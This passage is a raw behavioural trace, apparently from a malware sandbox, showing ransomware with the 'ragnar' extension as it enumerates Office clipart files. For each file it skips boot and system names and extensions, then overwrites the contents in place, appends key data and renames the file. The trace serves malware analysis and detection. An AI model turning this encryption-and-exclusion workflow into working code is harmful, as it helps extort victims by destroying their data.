files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.604] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8abf600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8abf600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x7c46, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01064_.WMF", cAlternateFileName="")) returned 1 [0088.604] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.604] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01064_.WMF" | out: lpString1="NA01064_.WMF") returned="NA01064_.WMF" [0088.604] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF") returned=".WMF" [0088.604] lstrcmpiW (lpString1="NA01064_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.604] lstrcmpiW (lpString1="NA01064_.WMF", lpString2="autorun.inf") returned 1 [0088.604] lstrcmpiW (lpString1="NA01064_.WMF", lpString2="boot.ini") returned 1 [0088.605] lstrcmpiW (lpString1="NA01064_.WMF", lpString2="bootfont.bin") returned 1 [0088.605] lstrcmpiW (lpString1="NA01064_.WMF", lpString2="bootsect.bak") returned 1 [0088.605] lstrcmpiW (lpString1="NA01064_.WMF", lpString2="bootmgr") returned 1 [0088.605] lstrcmpiW (lpString1="NA01064_.WMF", lpString2="bootmgr.efi") returned 1 [0088.605] lstrcmpiW (lpString1="NA01064_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.605] lstrcmpiW (lpString1="NA01064_.WMF", lpString2="desktop.ini") returned 1 [0088.605] lstrcmpiW (lpString1="NA01064_.WMF", lpString2="iconcache.db") returned 1 [0088.605] lstrcmpiW (lpString1="NA01064_.WMF", lpString2="ntldr") returned -1 [0088.605] lstrcmpiW (lpString1="NA01064_.WMF", lpString2="ntuser.dat") returned -1 [0088.605] lstrcmpiW (lpString1="NA01064_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.605] lstrcmpiW (lpString1="NA01064_.WMF", lpString2="ntuser.ini") returned -1 [0088.605] lstrcmpiW (lpString1="NA01064_.WMF", lpString2="thumbs.db") returned -1 [0088.605] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.605] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.605] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.605] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.605] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.605] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.605] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf")) returned 0x20 [0088.605] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.606] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31814) returned 1 [0088.606] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7c3d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.606] GetProcessHeap () returned 0x580000 [0088.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.606] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.607] VirtualAlloc (lpAddress=0x0, dwSize=0x7c46, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.607] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.607] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.607] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7c46, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7c46, lpOverlapped=0x0) returned 1 [0088.609] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.609] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7c46, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.609] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7c46, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7c46, lpOverlapped=0x0) returned 1 [0088.609] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7c46, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.609] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.610] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7c46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.610] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.610] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.610] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.610] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.610] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.610] GetProcessHeap () returned 0x580000 [0088.610] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.610] CloseHandle (hObject=0xf4) returned 1 [0088.610] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" [0088.610] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF.ragnar_FD7BD9FC" [0088.610] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.611] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x117a8f00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x117a8f00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x54a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01066_.WMF", cAlternateFileName="")) returned 1 [0088.611] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.611] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01066_.WMF" | out: lpString1="NA01066_.WMF") returned="NA01066_.WMF" [0088.611] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF") returned=".WMF" [0088.611] lstrcmpiW (lpString1="NA01066_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.611] lstrcmpiW (lpString1="NA01066_.WMF", lpString2="autorun.inf") returned 1 [0088.611] lstrcmpiW (lpString1="NA01066_.WMF", lpString2="boot.ini") returned 1 [0088.611] lstrcmpiW (lpString1="NA01066_.WMF", lpString2="bootfont.bin") returned 1 [0088.611] lstrcmpiW (lpString1="NA01066_.WMF", lpString2="bootsect.bak") returned 1 [0088.611] lstrcmpiW (lpString1="NA01066_.WMF", lpString2="bootmgr") returned 1 [0088.611] lstrcmpiW (lpString1="NA01066_.WMF", lpString2="bootmgr.efi") returned 1 [0088.611] lstrcmpiW (lpString1="NA01066_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.611] lstrcmpiW (lpString1="NA01066_.WMF", lpString2="desktop.ini") returned 1 [0088.611] lstrcmpiW (lpString1="NA01066_.WMF", lpString2="iconcache.db") returned 1 [0088.611] lstrcmpiW (lpString1="NA01066_.WMF", lpString2="ntldr") returned -1 [0088.611] lstrcmpiW (lpString1="NA01066_.WMF", lpString2="ntuser.dat") returned -1 [0088.611] lstrcmpiW (lpString1="NA01066_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.611] lstrcmpiW (lpString1="NA01066_.WMF", lpString2="ntuser.ini") returned -1 [0088.611] lstrcmpiW (lpString1="NA01066_.WMF", lpString2="thumbs.db") returned -1 [0088.611] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.611] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.611] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.612] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.612] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.612] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.612] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf")) returned 0x20 [0088.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.613] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=21672) returned 1 [0088.613] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x549f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.613] GetProcessHeap () returned 0x580000 [0088.613] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.613] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.614] VirtualAlloc (lpAddress=0x0, dwSize=0x54a8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.614] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.614] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.615] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x54a8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x54a8, lpOverlapped=0x0) returned 1 [0088.616] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.616] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x54a8, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.616] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x54a8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x54a8, lpOverlapped=0x0) returned 1 [0088.616] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x54a8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.616] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.617] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x54a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.617] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.617] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.617] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.617] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.617] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.617] GetProcessHeap () returned 0x580000 [0088.617] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.617] CloseHandle (hObject=0xf4) returned 1 [0088.617] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" [0088.617] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF.ragnar_FD7BD9FC" [0088.617] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.618] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0d55d00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0d55d00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x1a7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01069_.WMF", cAlternateFileName="")) returned 1 [0088.618] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.618] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01069_.WMF" | out: lpString1="NA01069_.WMF") returned="NA01069_.WMF" [0088.618] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF") returned=".WMF" [0088.618] lstrcmpiW (lpString1="NA01069_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.618] lstrcmpiW (lpString1="NA01069_.WMF", lpString2="autorun.inf") returned 1 [0088.618] lstrcmpiW (lpString1="NA01069_.WMF", lpString2="boot.ini") returned 1 [0088.618] lstrcmpiW (lpString1="NA01069_.WMF", lpString2="bootfont.bin") returned 1 [0088.618] lstrcmpiW (lpString1="NA01069_.WMF", lpString2="bootsect.bak") returned 1 [0088.618] lstrcmpiW (lpString1="NA01069_.WMF", lpString2="bootmgr") returned 1 [0088.618] lstrcmpiW (lpString1="NA01069_.WMF", lpString2="bootmgr.efi") returned 1 [0088.618] lstrcmpiW (lpString1="NA01069_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.618] lstrcmpiW (lpString1="NA01069_.WMF", lpString2="desktop.ini") returned 1 [0088.618] lstrcmpiW (lpString1="NA01069_.WMF", lpString2="iconcache.db") returned 1 [0088.618] lstrcmpiW (lpString1="NA01069_.WMF", lpString2="ntldr") returned -1 [0088.618] lstrcmpiW (lpString1="NA01069_.WMF", lpString2="ntuser.dat") returned -1 [0088.618] lstrcmpiW (lpString1="NA01069_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.618] lstrcmpiW (lpString1="NA01069_.WMF", lpString2="ntuser.ini") returned -1 [0088.618] lstrcmpiW (lpString1="NA01069_.WMF", lpString2="thumbs.db") returned -1 [0088.618] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.618] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.618] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.618] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.618] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.618] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.618] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf")) returned 0x20 [0088.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.619] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6782) returned 1 [0088.619] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.619] GetProcessHeap () returned 0x580000 [0088.619] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.619] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.620] VirtualAlloc (lpAddress=0x0, dwSize=0x1a7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.621] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.621] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.621] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1a7e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1a7e, lpOverlapped=0x0) returned 1 [0088.621] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.622] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a7e, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.622] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1a7e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1a7e, lpOverlapped=0x0) returned 1 [0088.622] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a7e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.622] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.622] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a7e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.622] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.622] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.622] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.622] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.622] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.622] GetProcessHeap () returned 0x580000 [0088.622] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.622] CloseHandle (hObject=0xf4) returned 1 [0088.622] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" [0088.623] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF.ragnar_FD7BD9FC" [0088.623] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.623] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe19e000, ftCreationTime.dwHighDateTime=0x1bd4afd, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe19e000, ftLastWriteTime.dwHighDateTime=0x1bd4afd, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01123_.WMF", cAlternateFileName="")) returned 1 [0088.623] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, 